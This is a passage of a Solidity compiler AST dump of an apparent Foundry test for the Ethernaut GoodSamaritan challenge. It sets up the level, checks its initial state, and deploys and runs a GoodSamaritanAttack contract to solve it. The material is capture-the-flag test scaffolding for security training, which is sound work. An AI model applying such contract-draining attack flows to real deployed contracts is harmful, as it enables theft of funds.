Vm"}},"id":61830,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"892:5:135","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"889:8:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"889:24:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61834,"nodeType":"ExpressionStatement","src":"889:24:135"},{"expression":{"id":61839,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61835,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61812,"src":"924:6:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61836,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61817,"src":"933:5:135","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61838,"indexExpression":{"hexValue":"31","id":61837,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"939:1:135","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"933:8:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"924:17:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61840,"nodeType":"ExpressionStatement","src":"924:17:135"},{"expression":{"arguments":[{"id":61844,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61812,"src":"960:6:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":61845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"968:8:135","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":61841,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"951:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61843,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"954:5:135","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"951:8:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"951:26:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61847,"nodeType":"ExpressionStatement","src":"951:26:135"},{"expression":{"arguments":[{"id":61851,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61810,"src":"1002:5:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61848,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"988:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"991:10:135","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"988:13:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61852,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"988:20:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61853,"nodeType":"ExpressionStatement","src":"988:20:135"},{"expression":{"id":61858,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61854,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61805,"src":"1018:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":61856,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61810,"src":"1057:5:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61855,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1030:26:135","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":61857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1030:33:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1018:45:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61859,"nodeType":"ExpressionStatement","src":"1018:45:135"},{"assignments":[61862],"declarations":[{"constant":false,"id":61862,"mutability":"mutable","name":"factory","nameLocation":"1094:7:135","nodeType":"VariableDeclaration","scope":61913,"src":"1073:28:135","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"},"typeName":{"id":61861,"nodeType":"UserDefinedTypeName","pathNode":{"id":61860,"name":"GoodSamaritanFactory","nameLocations":["1073:20:135"],"nodeType":"IdentifierPath","referencedDeclaration":53387,"src":"1073:20:135"},"referencedDeclaration":53387,"src":"1073:20:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}},"visibility":"internal"}],"id":61867,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":61865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1104:24:135","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GoodSamaritanFactory_$53387_$","typeString":"function () returns (contract GoodSamaritanFactory)"},"typeName":{"id":61864,"nodeType":"UserDefinedTypeName","pathNode":{"id":61863,"name":"GoodSamaritanFactory","nameLocations":["1108:20:135"],"nodeType":"IdentifierPath","referencedDeclaration":53387,"src":"1108:20:135"},"referencedDeclaration":53387,"src":"1108:20:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}}},"id":61866,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:26:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}},"nodeType":"VariableDeclarationStatement","src":"1073:57:135"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":61874,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61862,"src":"1178:7:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}],"id":61873,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1170:7:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61872,"name":"address","nodeType":"ElementaryTypeName","src":"1170:7:135","typeDescriptions":{}}},"id":61875,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1170:16:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61871,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1164:5:135","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61876,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1164:23:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":61868,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61805,"src":"1140:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61870,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1150:13:135","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1140:23:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":61877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1140:48:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61878,"nodeType":"ExpressionStatement","src":"1140:48:135"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61879,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1198:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61881,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1201:9:135","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1198:12:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1198:14:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61883,"nodeType":"ExpressionStatement","src":"1198:14:135"},{"expression":{"arguments":[{"id":61887,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61812,"src":"1237:6:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61884,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1223:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61886,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1226:10:135","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1223:13:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:21:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61889,"nodeType":"ExpressionStatement","src":"1223:21:135"},{"expression":{"id":61906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61890,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61808,"src":"1254:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":61895,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61805,"src":"1307:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":61899,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61862,"src":"1332:7:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritanFactory_$53387","typeString":"contract GoodSamaritanFactory"}],"id":61898,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1324:7:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61897,"name":"address","nodeType":"ElementaryTypeName","src":"1324:7:135","typeDescriptions":{}}},"id":61900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1324:16:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61896,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1318:5:135","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61901,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1318:23:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":61902,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1343:1:135","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":61894,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1287:19:135","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":61903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1287:58:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61893,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1279:8:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":61892,"name":"address","nodeType":"ElementaryTypeName","src":"1279:8:135","stateMutability":"payable","typeDescriptions":{}}},"id":61904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1279:67:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61891,"name":"GoodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53146,"src":"1265:13:135","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GoodSamaritan_$53146_$","typeString":"type(contract GoodSamaritan)"}},"id":61905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1265:82:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"src":"1254:93:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"id":61907,"nodeType":"ExpressionStatement","src":"1254:93:135"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61908,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1357:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61910,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1360:9:135","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1357:12:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1357:14:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61912,"nodeType":"ExpressionStatement","src":"1357:14:135"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"780:5:135","parameters":{"id":61813,"nodeType":"ParameterList","parameters":[],"src":"785:2:135"},"returnParameters":{"id":61814,"nodeType":"ParameterList","parameters":[],"src":"795:0:135"},"scope":61979,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61935,"nodeType":"FunctionDefinition","src":"1630:137:135","nodes":[],"body":{"id":61934,"nodeType":"Block","src":"1657:110:135","nodes":[],"statements":[{"expression":{"arguments":[{"id":61921,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61812,"src":"1681:6:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61918,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1667:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61920,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1670:10:135","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1667:13:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1667:21:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61923,"nodeType":"ExpressionStatement","src":"1667:21:135"},{"expression":{"arguments":[{"arguments":[{"id":61926,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61805,"src":"1730:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61929,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61808,"src":"1749:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}],"id":61928,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1741:7:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61927,"name":"address","nodeType":"ElementaryTypeName","src":"1741:7:135","typeDescriptions":{}}},"id":61930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1741:17:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61925,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1710:19:135","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61931,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1710:49:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61924,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1698:11:135","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61932,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1698:62:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61933,"nodeType":"ExpressionStatement","src":"1698:62:135"}]},"documentation":{"id":61915,"nodeType":"StructuredDocumentation","src":"1562:63:135","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1639:8:135","parameters":{"id":61916,"nodeType":"ParameterList","parameters":[],"src":"1647:2:135"},"returnParameters":{"id":61917,"nodeType":"ParameterList","parameters":[],"src":"1657:0:135"},"scope":61979,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61978,"nodeType":"FunctionDefinition","src":"1822:286:135","nodes":[],"body":{"id":61977,"nodeType":"Block","src":"1850:258:135","nodes":[],"statements":[{"expression":{"arguments":[{"id":61942,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61812,"src":"1874:6:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61939,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1860:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61941,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1863:10:135","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1860:13:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1860:21:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61944,"nodeType":"ExpressionStatement","src":"1860:21:135"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61945,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61808,"src":"1892:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"id":61947,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1901:15:135","memberName":"requestDonation","nodeType":"MemberAccess","referencedDeclaration":53145,"src":"1892:24:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_bool_$","typeString":"function () external returns (bool)"}},"id":61948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1892:26:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":61949,"nodeType":"ExpressionStatement","src":"1892:26:135"},{"assignments":[61952],"declarations":[{"constant":false,"id":61952,"mutability":"mutable","name":"attacker","nameLocation":"1949:8:135","nodeType":"VariableDeclaration","scope":61977,"src":"1929:28:135","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanAttack_$49569","typeString":"contract GoodSamaritanAttack"},"typeName":{"id":61951,"nodeType":"UserDefinedTypeName","pathNode":{"id":61950,"name":"GoodSamaritanAttack","nameLocations":["1929:19:135"],"nodeType":"IdentifierPath","referencedDeclaration":49569,"src":"1929:19:135"},"referencedDeclaration":49569,"src":"1929:19:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanAttack_$49569","typeString":"contract GoodSamaritanAttack"}},"visibility":"internal"}],"id":61961,"initialValue":{"arguments":[{"arguments":[{"id":61958,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61808,"src":"1992:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}],"id":61957,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1984:7:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61956,"name":"address","nodeType":"ElementaryTypeName","src":"1984:7:135","typeDescriptions":{}}},"id":61959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1984:17:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61955,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1960:23:135","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_GoodSamaritanAttack_$49569_$","typeString":"function (address) returns (contract GoodSamaritanAttack)"},"typeName":{"id":61954,"nodeType":"UserDefinedTypeName","pathNode":{"id":61953,"name":"GoodSamaritanAttack","nameLocations":["1964:19:135"],"nodeType":"IdentifierPath","referencedDeclaration":49569,"src":"1964:19:135"},"referencedDeclaration":49569,"src":"1964:19:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanAttack_$49569","typeString":"contract GoodSamaritanAttack"}}},"id":61960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1960:42:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanAttack_$49569","typeString":"contract GoodSamaritanAttack"}},"nodeType":"VariableDeclarationStatement","src":"1929:73:135"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61962,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61952,"src":"2012:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritanAttack_$49569","typeString":"contract GoodSamaritanAttack"}},"id":61964,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2021:6:135","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49554,"src":"2012:15:135","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61965,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2012:17:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61966,"nodeType":"ExpressionStatement","src":"2012:17:135"},{"expression":{"arguments":[{"arguments":[{"id":61969,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61805,"src":"2071:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract 